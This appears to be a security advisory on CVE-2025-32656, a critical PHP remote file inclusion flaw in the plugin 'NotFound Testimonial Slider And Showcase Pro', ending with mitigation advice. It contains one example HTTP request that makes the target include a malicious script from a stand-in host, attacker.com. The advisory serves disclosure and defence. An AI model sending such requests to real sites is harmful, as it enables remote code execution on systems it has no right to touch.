CVE-2025-32656: Critical PHP Remote File Inclusion Vulnerability in NotFound Testimonial Slider And Showcase Pro

Overview

The cybersecurity landscape is continually evolving, with new vulnerabilities being discovered regularly. One such vulnerability, identified as CVE-2025-32656, has been found in the NotFound Testimonial Slider And Showcase Pro. This vulnerability is a potent threat due to its potential for system compromise or data leakage, which could lead to significant damage for affected organizations. Particularly targeting PHP-based applications, it is essential to understand the nature of this vulnerability, who it affects, and possible mitigation strategies to prevent potential cyber threats.

Vulnerability Summary

CVE ID: CVE-2025-32656
Severity: Critical, CVSS score of 8.1
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Leakage of sensitive data, potential system compromise

Affected Products

Product | Affected Versions

NotFound Testimonial Slider And Showcase Pro | Up to 2.3.15

How the Exploit Works

The vulnerability, CVE-2025-32656, is a PHP Remote File Inclusion flaw. This flaw occurs due to improper control of filename for Include/Require statement in the PHP program of the NotFound Testimonial Slider And Showcase Pro. An attacker can exploit this flaw by crafting a URL that includes a reference to a malicious remote file. When the application executes the URL, the remote file is included and executed in the context of the application, allowing the attacker to execute arbitrary code or cause a denial of service.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:

GET /index.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.com

In this example, the attacker sends a GET request to the vulnerable application, specifying a malicious PHP script hosted on their server (`attacker.com`). The application includes and executes the malicious script, leading to potential system compromise.

Recommendation

To mitigate this vulnerability, users are recommended to apply the vendor patch as soon as it is available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Regularly updating and patching software, as well as monitoring system logs for any unusual activity, can go a long way in protecting your systems from such vulnerabilities.